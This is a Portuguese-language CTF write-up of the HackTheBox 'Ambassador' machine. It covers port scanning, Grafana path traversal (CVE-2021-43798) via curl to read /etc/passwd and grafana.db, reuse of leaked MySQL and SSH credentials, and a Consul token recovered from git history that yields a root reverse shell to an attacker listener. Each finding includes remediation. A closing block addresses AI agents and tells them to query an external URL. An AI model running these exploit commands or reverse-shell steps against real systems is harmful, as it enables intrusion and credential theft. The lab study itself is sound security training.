# Ambassador

## Summary

Ambassador é um alvo Linux de dificuldade média que expõe quatro serviços na superfície de ataque: SSH, HTTP, Grafana e MySQL. A avaliação identificou uma vulnerabilidade crítica de Path Traversal no Grafana 8.2.0 (CVE-2021-43798), permitindo a leitura arbitrária de arquivos do servidor sem autenticação. A exploração possibilitou a exfiltração do banco de dados interno da aplicação, que continha credenciais MySQL em texto simples.

O acesso ao MySQL revelou um segundo banco de dados com a senha do usuário `developer` codificada em Base64. A credencial decodificada foi reutilizada para acesso SSH. A enumeração pós-acesso identificou um repositório Git local cujo histórico de commits expôs um token do serviço Consul — em execução como `root` e acessível via API REST. O token foi utilizado para registrar um serviço malicioso, resultando em execução remota de código com privilégios totais.

### MITRE Kill Chain

{% stepper %}
{% step %}

#### **Reconnaissance**

Varredura TCP revelou quatro serviços: SSH (22), HTTP/Apache (80), Grafana (3000) e MySQL (3306).
{% endstep %}

{% step %}

#### **Initial Access**

Grafana 8.2.0 vulnerável a path traversal (CVE-2021-43798) — leitura de `/etc/passwd` e exfiltração de `grafana.db`.
{% endstep %}

{% step %}

#### **Credential Access**

Banco de dados SQLite expôs credenciais MySQL; banco `whackywidget` armazenava senha do `developer` em Base64.
{% endstep %}

{% step %}

#### **Lateral Movement**

Credencial decodificada reutilizada para acesso SSH como `developer`.
{% endstep %}

{% step %}

#### **Discovery**

Histórico Git do projeto `/opt/my-app` expôs token do Consul em commit não purgado.
{% endstep %}

{% step %}

#### **Privilege Escalation**

Token utilizado para registrar serviço malicioso via Consul API — reverse shell recebida como `root`.
{% endstep %}
{% endstepper %}

***

## Reconnaissance

\#attack/T1595 #attack/T1046

### Host Discovery

A primeira ação para reconhecimento do alvo é testar a conectividade com ele. O retorno do TTL de 63 é uma indicação de que estamos lidando com um sistema Linux — o TTL inicial para sistemas Linux costuma ser 64, e o valor é reduzido conforme os pacotes atravessam roteadores. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux a um salto de distância.

```bash
attacker> ping -c 1 10.10.11.183
PING 10.10.11.183 (10.10.11.183): 56 data bytes
64 bytes from 10.10.11.183: icmp_seq=0 ttl=63 time=432.689 ms
--- 10.10.11.183 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
```

{% hint style="info" %}
O valor TTL de **63** indica que o alvo é provavelmente um sistema baseado em Linux, considerando um salto único no trânsito.
{% endhint %}

### Port Scanning

Em seguida, um escaneamento completo de portas TCP foi executado no alvo para identificar todas as portas abertas.

```bash
attacker> nmap -sS -p- --min-rate 5000 -v -n -Pn -oG portsTCP.gnmap 10.10.11.183
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
3306/tcp open  mysql
```

A varredura revelou quatro portas abertas. Com isso, foi executada uma varredura de serviços direcionada às portas identificadas para verificar as versões e coletar informações adicionais.

```bash
attacker> nmap -sCV -p 22,80,3000,3306 -n -Pn -oX nmap.xml 10.10.11.189
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.0 302 Found
|     Location: /login
<SNIP>
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
<SNIP>
```

A enumeração de serviços revelou o seguinte:

* **Port 22**: Executando `OpenSSH 8.2p1` no Ubuntu Focal.
* **Port 80**: Executando `Apache 2.4.41` com gerador `Hugo 0.94.2`.
* **Port 3000**: Redirecionamento HTTP para `/login` — comportamento característico do Grafana.
* **Port 3306**: `MySQL 8.0.30`.

***

## Web Enumeration

\#attack/T1592 #attack/T1593

O perfilamento tecnológico foi realizado com `whatweb` nas duas portas HTTP para confirmar a stack web e identificar informações de versão adicionais.

```bash
attacker> whatweb -v http://10.10.11.183 http://10.10.11.183:3000 | tee whatweb.txt
WhatWeb report for http://10.10.11.183
Status    : 200 OK
Title     : Ambassador Development Server
Summary   : Apache[2.4.41], Hugo[0.94.2], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)]

WhatWeb report for http://10.10.11.183:3000
Status    : 302 Found
Summary   : Cookies[redirect_to], RedirectLocation[/login], X-Frame-Options[deny]
<SNIP>
```

O acesso direto à porta 3000 via browser confirmou o painel de login do **Grafana versão 8.2.0**.

<figure><img src="/files/JtkTsrRIXdthxAJtcDZd" alt=""><figcaption></figcaption></figure>

A identificação da versão exata foi o pivô crítico para a próxima fase. Uma busca por vulnerabilidades conhecidas no `searchsploit` revelou uma PoC de Directory Traversal e Arbitrary File Read documentada para o Grafana 8.3.0 — passível de aplicação na versão 8.2.0 em execução no alvo.

```bash
attacker> searchsploit grafana
Grafana 7.0.1 - Denial of Service (PoC)                       | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read    | multiple/webapps/50581.py
```

***

## Initial Access

\#attack/T1190

### Arbitrary File Read (CVE-2021-43798)

A inspeção da PoC (`searchsploit -x multiple/webapps/50581.py`) revelou o mecanismo de exploração: ao injetar sequências de path traversal (`../`) no endpoint de plugins públicos do Grafana, o servidor resolve o caminho resultante sem sanitização, retornando o conteúdo do arquivo solicitado. O alvo foi confirmado como vulnerável com a leitura direta do `/etc/passwd`:

```bash
attacker> curl -s --path-as-is \
  'http://10.10.11.183:3000/public/plugins/welcome/../../../../../../../../../../../../../etc/passwd' \
  | tee passwd.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
developer:x:1000:1000:developer:/home/developer:/bin/bash
consul:x:997:997::/home/consul:/bin/false
```

A filtragem por usuários com shell ativa revelou dois alvos: `root` e `developer`. A presença do usuário `consul` sem shell também é relevante — indica que o serviço Consul está em execução no sistema, um detalhe a ser explorado na fase de escalação de privilégios.

```bash
attacker> grep sh$ passwd.txt
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
```

Procurando informações sobre arquivos importantes do Grafana, o banco de dados interno da aplicação — `grafana.db` — é armazenado por padrão em `/var/lib/grafana`. Ele foi exfiltrado com o mesmo path traversal:

```bash
attacker> curl -s --path-as-is \
  'http://10.10.11.183:3000/public/plugins/welcome/../../../../../../../../../../../../../var/lib/grafana/grafana.db' \
  -o grafana.db

attacker> file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 804
```

{% hint style="danger" %}

#### **Finding: Grafana Arbitrary File Read (CVE-2021-43798)**

* **Affected Asset:** `http://10.10.11.183:3000`
* **Severity:** Critical
* **Vulnerability Type:** Path Traversal / Arbitrary File Read
* **CVE:** CVE-2021-43798

Reproduction Steps:

{% stepper %}
{% step %}
Identifique uma instância Grafana com versão entre 8.0.0 e 8.3.0.
{% endstep %}

{% step %}
Envie `GET /public/plugins/[any-plugin]/../../../../../[file-path]` utilizando `--path-as-is` para preservar as traversal sequences.
{% endstep %}

{% step %}
Leia arquivos arbitrários com as permissões do processo Grafana — incluindo `/var/lib/grafana/grafana.db`.
{% endstep %}
{% endstepper %}

**Remediation:** Atualizar Grafana para versão 8.3.1 ou superior. Restringir acesso à porta 3000 por firewall ou proxy reverso autenticado.
{% endhint %}

***

## Credential Access

\#attack/T1552\_001 #attack/T1078

### Grafana Database Analysis

O arquivo `grafana.db` é um banco SQLite. A inspeção de suas tabelas revelou conteúdo crítico na tabela `data_source`, que armazena as conexões com bancos de dados configuradas no Grafana, incluindo suas credenciais em texto simples.

<figure><img src="/files/W6fWDmbqys4WjxA8ZS2C" alt=""><figcaption></figcaption></figure>

<pre class="language-json"><code class="lang-json">attacker> cat data_source.json 
[
  {
    "id": 2,
    "org_id": 1,
    "version": 1,
    "type": "mysql",
    "name": "mysql.yaml",
    "access": "proxy",
    "url": "",
<strong>    "password": "dontStandSoCloseToMe63221!",
</strong><strong>    "user": "grafana",
</strong>    "database": "grafana",
...
</code></pre>

### MySQL Enumeration

\#attack/T1552\_001

As credenciais extraídas foram utilizadas para acessar o serviço MySQL exposto na porta 3306. O acesso foi bem-sucedido. A listagem dos databases revelou seis bancos — entre eles `whackywidget`, nome atípico que se destaca dos bancos convencionais do sistema e atrai atenção imediata.

```sql
attacker> mysql -h 10.10.11.183 -ugrafana -p'dontStandSoCloseToMe63221!'

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+

MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+

MySQL [whackywidget]> describe users;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| user  | varchar(255) | YES  |     | NULL    |       |
| pass  | varchar(255) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+

MySQL [whackywidget]> select user,pass from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
```

No banco `whackywidget` há a presença do user `developer` com uma senha codificada em Base64. A decodificação revelou a senha em texto simples:

```bash
attacker> echo 'YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==' | base64 -d
anEnglishManInNewYork027468
```

{% hint style="warning" %}
A senha do usuário `developer` foi encontrada armazenada em Base64 no banco `whackywidget` — decodificada revela `anEnglishManInNewYork027468`. Credenciais em formato Base64 não são criptografadas e representam armazenamento inseguro equivalente a texto simples.
{% endhint %}

***

## Gaining Access

\#attack/T1021\_004

Como o serviço SSH está presente na porta 22 e foi identificado anteriormente que o user `developer` possui shell ativa, o próximo passo foi verificar se esta credencial estava sendo reutilizada para acesso via SSH.

```bash
attacker> ssh developer@10.10.11.183
developer@10.10.11.183's password: anEnglishManInNewYork027468

developer@ambassador:~$ hostname -I
10.10.11.183 dead:beef::250:56ff:feb9:e54f

developer@ambassador:~$ cat user.txt
129b8c1afddff7fdc9ff085647c4546b
```

{% hint style="success" %}
Credencial reutilizada com sucesso. Acesso SSH obtido como `developer` — flag `user.txt` coletada.
{% endhint %}

***

## Privilege Escalation

\#attack/T1552\_001 #attack/T1059

### Internal Discovery

Fazendo uma descoberta interna do alvo, no diretório `/opt`, há o repositório `my-app` com um `.git` acessível pelo grupo. Isso permite inspecionar o histórico de desenvolvimento do projeto.

```bash
developer@ambassador:~$ ls -la /opt/my-app/.git
total 52
drwxrwxr-x  8 root root 4096 Mar 14  2022 .
drwxrwxr-x  5 root root 4096 Mar 13  2022 ..
-rw-rw-r--  1 root root   19 Mar 13  2022 COMMIT_EDITMSG
-rw-rw-r--  1 root root   92 Mar 14  2022 config
<SNIP>
```

### Git History Analysis

\#attack/T1552\_001

O histórico de commits foi inspecionado. O primeiro log possui a descrição `tidy config script`, que representa alguma "correção" feita no script de configuração — este tipo de commit chama a atenção por sugerir a remoção de algo que não deveria estar exposto.

```bash
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000
    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000
    config script
<SNIP>
```

Visualizando o diff deste commit, a suspeita se confirma: um token do serviço `consul` estava exposto no script e foi removido. A remoção do arquivo do repositório não elimina o commit do histórico Git — o objeto permanece recuperável enquanto o repositório não for purgado.

```bash
developer@ambassador:/opt/my-app$ git show 33a53ef9a207976d5ceceddc41a199558843bf3c

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
```

{% hint style="warning" %}
O token Consul `bb03b43b-1d81-d62b-24b5-39540ee469b5` foi recuperado do histórico Git. A remoção do token do script ativo não elimina o commit do objeto store — o token permanece acessível via `git show` ou `git log -p`.
{% endhint %}

### Consul Service Analysis

O serviço `consul` foi confirmado em execução no alvo. O Consul é uma ferramenta de service networking que expõe uma API REST para gerenciamento de serviços, configurações e health checks.

```bash
developer@ambassador:~$ consul version
Consul v1.13.2
Revision 0e046bbb
Protocol 2 spoken by default, understands 2 to 3
```

| Use                | Default Port    |
| ------------------ | --------------- |
| DNS (TCP/UDP)      | 8600            |
| **HTTP API (TCP)** | **8500**        |
| HTTPS API          | 8501 (disabled) |
| LAN Serf (TCP/UDP) | 8301            |
| WAN Serf (TCP/UDP) | 8302            |
| Server RPC (TCP)   | 8300            |

A inspeção das conexões ativas confirmou o Consul em escuta na porta `8500` — exclusivamente em loopback, não exposto externamente.

```bash
developer@ambassador:/opt/my-app$ netstat -na | grep 8500
tcp  0  0  127.0.0.1:8500  0.0.0.0:*  LISTEN
```

#### Consul RCE via API

\#attack/T1059

Uma busca por exploits do Consul revelou dois módulos Metasploit para RCE via Services API. Como alternativa sem Metasploit, o seguinte script Python foi utilizado:

{% embed url="<https://github.com/GatoGamer1155/Hashicorp-Consul-RCE-via-API>" %}

Analisando como o script funciona: ele registra um serviço malicioso no agente Consul local via API REST, com um health check configurado para executar um payload de reverse shell. O agente Consul executa esses checks com as permissões do processo — que neste caso roda como `root`. O token obtido do histórico Git foi utilizado para autenticar o registro do serviço.

```bash
attacker> nc -nlvp 443
listening on [any] 443 ...
```

```bash
developer@ambassador:/dev/shm$ python3 consul.py \
  --lhost [ATTACKER_IP] \
  --lport 443 \
  --token bb03b43b-1d81-d62b-24b5-39540ee469b5

[+] Request sent successfully, check your listener
```

Ao executar o script com o listener ativo, o RCE foi explorado e a reverse shell foi recebida como `root`:

```bash
connect to [ATTACKER_IP] from (UNKNOWN) [10.10.11.183] 37746
bash: cannot set terminal process group (37785): Inappropriate ioctl for device

root@ambassador:/# hostname -I
10.10.11.183 dead:beef::250:56ff:feb9:e54f

root@ambassador:/# cat /root/root.txt
5aa400a14a5934feee966bb0adaa19b6
```

{% hint style="danger" %}

### **Finding: Consul API RCE via Token Exposto em Histórico Git**

* **Affected Asset:** `http://127.0.0.1:8500` (Consul Agent — executando como `root`)
* **Severity:** Critical
* **Vulnerability Type:** Exposed Credential / Unauthenticated Service Registration RCE

Reproduction Steps:

{% stepper %}
{% step %}
Recuperar token Consul do histórico Git: `git show <commit-hash>` em repositórios com `.git` acessível ao grupo.
{% endstep %}

{% step %}
Registrar serviço com health check malicioso via `PUT /v1/agent/service/register` com header `X-Consul-Token: <token>`.
{% endstep %}

{% step %}
O agente Consul executa o health check script como `root` — conexão recebida no listener.
{% endstep %}
{% endstepper %}

**Remediation:** Purgar histórico Git com `git filter-repo` para eliminar o token exposto. Revogar e regenerar todos os tokens Consul. Configurar ACLs no Consul restringindo quais tokens podem registrar serviços. Executar o agente Consul com usuário dedicado sem privilégios root.
{% endhint %}

{% hint style="success" %}
Escalação de privilégios bem-sucedida. Comprometimento total do sistema alcançado.
{% endhint %}

<figure><img src="/files/IVSPGVnmbAZFYzffeCa1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://brunosergio.gitbook.io/ctfs/writeups/hackthebox/ambassador.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
